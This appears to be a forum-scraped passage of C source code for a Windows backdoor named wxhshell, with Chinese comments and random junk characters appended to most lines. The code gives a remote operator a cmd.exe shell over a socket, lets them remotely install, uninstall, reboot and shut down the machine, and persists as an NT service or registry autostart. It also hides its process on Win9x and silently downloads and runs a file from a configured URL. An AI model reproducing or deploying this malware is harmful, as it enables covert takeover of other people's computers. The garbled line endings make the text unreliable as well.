    switch(cmd[0]) { i079 V  
  @ 6b;sv1W  
  // 帮助 SYOU &*  
  case '?': { 8wS9%+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f K4M:_u  
    break; } 4>#s$.2  
  }  Z\$!:  
  // 安装 4T<dI6I0  
  case 'i': { |@ZyD$?  
    if(Install()) ! }awlv;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h/l?,7KHI  
    else W?@+LQa??  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  hP 1;$  
    break; qSVg.<+  
    } `,wX&@sN  
  // 卸载 l %xeM !}  
  case 'r': { 495(V(+5  
    if(Uninstall()) h"N#/zQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qnp.Na[JV  
    else piiO5fK|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gE!`9#..  
    break; t`4o&vsj=  
    } Qc:Sf46O  
  // 显示 wxhshell 所在路径 a@gm r%C  
  case 'p': { RKz _GEH)  
    char svExeFile[MAX_PATH]; y|D-W>0cX3  
    strcpy(svExeFile,"\n\r"); `VOLw*Ci  
      strcat(svExeFile,ExeFile); ]JHY(H2|  
        send(wsh,svExeFile,strlen(svExeFile),0); "  6  
    break; dU"C=c(w\  
    } h1?.x  
  // 重启 x\(yjNZH  
  case 'b': { TGPHjSZ1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7o M]qLF  
    if(Boot(REBOOT)) EY!P"u;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $%J $  
    else { i0&] Ig|;  
    closesocket(wsh); [6Nzz]yy  
    ExitThread(0); 3nkO+ qQ  
    } 'P)[=+O?t  
    break; CQ%yki  
    } ^TY8,qDA  
  // 关机 X1h*.reFAL  
  case 'd': { v{>9&o.J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $S!WW|9j.  
    if(Boot(SHUTDOWN)) #*K!@X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X<$8'/p r  
    else { : ]JsUb{YK  
    closesocket(wsh); \"@`Rf   
    ExitThread(0); >za=v  
    } L`Q9-#Y  
    break; `r8bBzr@%  
    } 8 K>Ejr  
  // 获取shell z0&I>PG^  
  case 's': { ]r1 C  
    CmdShell(wsh); W.U|mNJ$  
    closesocket(wsh); \~q cYp  
    ExitThread(0); ,_t}\7  
    break; ;]h:63 S  
  } FUTDR-q O  
  // 退出 i0~L[v9l<  
  case 'x': { fYv{M;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ku=XPmZ.\  
    CloseIt(wsh); qxW 2q8QHo  
    break; bYH! P/  
    } [Z?vC  
  // 离开 ./;*L D  
  case 'q': { -Qco4>Z8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |k9A*7I  
    closesocket(wsh); s97L/iH  
    WSACleanup(); _`Sz}Yk  
    exit(1); 84dej<   
    break; 0<S(zva7([  
        } @AdJu-u  
  } /waZ9  
  } [?`c>  
'}wYSG-  
  // 提示信息 ?`O Dt]s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YPq`su7m9  
} zuZlP  
  } &gR)bNIC_=  
H}c, P('  
  return; }"?K Hy  
} %z0@4G q  
:O}<Q  
// shell模块句柄 XUT\nN-N  
int CmdShell(SOCKET sock) L:F:ZOM6`  
{ jNNl5.  
STARTUPINFO si; t| zLR  
ZeroMemory(&si,sizeof(si)); 6Gs,-Kb:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b511qc"i>M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 57b;{kl  
PROCESS_INFORMATION ProcessInfo; VI`x fmVOQ  
char cmdline[]="cmd"; way-Q7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X_eV<]zA+  
  return 0; |"Oazll  
} MPd#C*c  
/_554q  
// 自身启动模式 Lsozl<@  
int StartFromService(void) DEC,oX!bI1  
{ 5+O#5" v_  
typedef struct 4[&6yHJ^  
{ " ,rA  
  DWORD ExitStatus; u$[T8UqF  
  DWORD PebBaseAddress; ~1h-LbFI2  
  DWORD AffinityMask; =kLg)a |  
  DWORD BasePriority; Swua dN  
  ULONG UniqueProcessId; ;"nEEe]?  
  ULONG InheritedFromUniqueProcessId; HnqZ7%jeN  
}   PROCESS_BASIC_INFORMATION; U-s6h;^ O  
3^us;aOr  
PROCNTQSIP NtQueryInformationProcess; qO9_ e  
<`9:hPp0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )V}u1C-N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #UJ@P Dwil  
Ve8`5  
  HANDLE             hProcess; [P{Xg:0  
  PROCESS_BASIC_INFORMATION pbi; 4"j5@bppJ  
}H ,A T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ()>\D  
  if(NULL == hInst ) return 0; EX&y !  
8YN+ \  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cY>;(x@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ec6{?\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %3VwCuE  
[* > @hx  
  if (!NtQueryInformationProcess) return 0; RGtUKr'  
T "G!H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m x,X!}  
  if(!hProcess) return 0; .[Sv|;x"E  
*<#&ne 8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a}c(#ZLs  
1 )j%]zd2  
  CloseHandle(hProcess); Z?hBn`.  
W3 8 =fyD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qW<: `y  
if(hProcess==NULL) return 0; a4: PufS  
*G~c6B Z  
HMODULE hMod; d*>M<6b-  
char procName[255]; z4J-qK~2  
unsigned long cbNeeded; |ns^' q  
HKcipDW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xHr  
h=4{.EegG&  
  CloseHandle(hProcess); 9Jk(ID'c  
v @N8v  
if(strstr(procName,"services")) return 1; // 以服务启动 KQ9:lJKr  
t8)Fkx#8}  
  return 0; // 注册表启动 {fN_itn  
} TPEZ"%=Hg  
iZyk2kc  
// 主模块 \K?./*  
int StartWxhshell(LPSTR lpCmdLine) Y*Q( v  
{ -I8%  
  SOCKET wsl; PUYo >eB)0  
BOOL val=TRUE; E>6zwp  
  int port=0; 4 |5ekwk  
  struct sockaddr_in door; kh,M'XbTo  
w6 "LHy[  
  if(wscfg.ws_autoins) Install(); W'0wTZG  
oC[wYUDg  
port=atoi(lpCmdLine); Yu1xJgl  
:6M0`V;L  
if(port<=0) port=wscfg.ws_port; {G{@bUG]p  
@i)tQd!s  
  WSADATA data; P|(J]/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DU7Ki6  
)v-* WreS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \iE'E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Om1z  
  door.sin_family = AF_INET; tt[_+e\4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %mYIXsuH  
  door.sin_port = htons(port); y=j[v},4  
bL[PNUG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O@=mN*<gg0  
closesocket(wsl); R\Q%_~1  
return 1; <zDe;&  
} Z?Q2ed*j  
Ph%s.YAZ~  
  if(listen(wsl,2) == INVALID_SOCKET) { Dps{[3Y+  
closesocket(wsl); /Bwea];^Q  
return 1; 8DI|+`OgW  
} P`%ppkzV6  
  Wxhshell(wsl); *HXq`B  
  WSACleanup(); X%F9.<4  
AeJM[fCMa  
return 0; f%}+.e D  
jN<]yhqf  
} QNtr=  
UQdQtj1'  
// 以NT服务方式启动 Cg|uHI*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 88*RlxU  
{ d!LV@</  
DWORD   status = 0; <V8i>LBlz  
  DWORD   specificError = 0xfffffff; }mGD`5[`  
aKUr":z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |zT0g]WH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i-=ff  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -$kJERvy  
  serviceStatus.dwWin32ExitCode     = 0; &Egn`QU  
  serviceStatus.dwServiceSpecificExitCode = 0; %7@H7^s}9  
  serviceStatus.dwCheckPoint       = 0; m{5$4v,[  
  serviceStatus.dwWaitHint       = 0; \9?<E[  
A_fU7'B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QO>*3,(H,q  
  if (hServiceStatusHandle==0) return; 1c4%g-]7  
&B85;  
status = GetLastError(); ii2Z }qe  
  if (status!=NO_ERROR) C}kJGi  
{ k:qou})#4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7fE V/j  
    serviceStatus.dwCheckPoint       = 0; te''sydUS  
    serviceStatus.dwWaitHint       = 0; a?MtY EK2  
    serviceStatus.dwWin32ExitCode     = status; 2&d&$Jg  
    serviceStatus.dwServiceSpecificExitCode = specificError; W.R'2R#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X]*/]Xx  
    return; (j I|F-i  
  } yy74>K  
? 7EVmF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d&u/7rm  
  serviceStatus.dwCheckPoint       = 0; 4a|Fx  
  serviceStatus.dwWaitHint       = 0; '9dtIW6E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Om"3Q/&  
} Mfr#IzNHN  
*;d)'7<  
// 处理NT服务事件,比如:启动、停止 ~.lH)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z4-dF;7  
{ DmrfD28j~F  
switch(fdwControl) . R}y"O\  
{ n6Zx0ad?  
case SERVICE_CONTROL_STOP: o5@ jMU;  
  serviceStatus.dwWin32ExitCode = 0; /#=J`*m_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A m1W<`  
  serviceStatus.dwCheckPoint   = 0; FlG^'UD  
  serviceStatus.dwWaitHint     = 0; ]e`_.>U  
  { 8} k,!R[J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kzu9Qm-+z^  
  } pi}H.iF  
  return; 5mNXWg7#]  
case SERVICE_CONTROL_PAUSE: sZB6zTX J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HXHPz 4  
  break; =eoxT  
case SERVICE_CONTROL_CONTINUE: N6[^62  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $?-o  
  break; Kx+Bc&X  
case SERVICE_CONTROL_INTERROGATE: LD~'^+W  
  break; }gi' %e  
}; cZzZNGY^ts  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r3_gPK  
} 4Z<l>!  
({VBp[Mh  
// 标准应用程序主函数 K-C,+eI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F s\P/YX  
{ cB}2(`z9 B  
,O)\,tg  
// 获取操作系统版本 ZcRm5Du~:  
OsIsNt=GetOsVer(); 3/=QZ8HA&-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jFT V\|C  
26VdRy{[  
  // 从命令行安装 XL=R]IC<.  
  if(strpbrk(lpCmdLine,"iI")) Install(); gVJ#LJ  
`UK+[`E  
  // 下载执行文件 BQ:Kx_   
if(wscfg.ws_downexe) { L)'rM-nkFh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PEt8,,x<"  
  WinExec(wscfg.ws_filenam,SW_HIDE); WN/#9]` P  
} 73ljW  
3F}KrG  
if(!OsIsNt) { 5yiiPK$qr  
// 如果时win9x,隐藏进程并且设置为注册表启动 f1$mh1J W  
HideProc(); }C"*ACjF   
StartWxhshell(lpCmdLine); 'f7 *RSKqb  
} .l5" X>  
else y]_8. 0zM  
  if(StartFromService()) yN<fmi};c  
  // 以服务方式启动 k1U8wdoT  
  StartServiceCtrlDispatcher(DispatchTable); J_E(^+  
else f}Tr$r  
  // 普通方式启动 KBq aI((  
  StartWxhshell(lpCmdLine); dd7nO :]  
F'$S!K58  
return 0; 4`P2FnJ?  
}
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只看该作者 1 发表于: 2006-10-10
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